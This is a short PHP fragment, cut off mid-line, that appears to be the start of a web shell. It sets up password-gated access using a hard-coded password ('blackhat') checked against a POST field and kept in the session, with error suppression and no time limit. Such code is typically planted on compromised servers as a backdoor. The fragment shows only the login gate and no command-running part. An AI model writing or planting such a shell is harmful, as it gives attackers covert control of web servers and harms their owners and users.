<?php
@session_start();
@set_time_limit(0);
if((isset($v) AND $v==0) OR (isset($t) AND $t==false)){
die('');
}
$create_password = true;
$password = "blackhat";
$pass=$_POST['pass'];
if($pass==$password){
$_SESSION['nst']="$pass";
}
if($create_password==true){
if(!isset($_SESSION['nst']) or...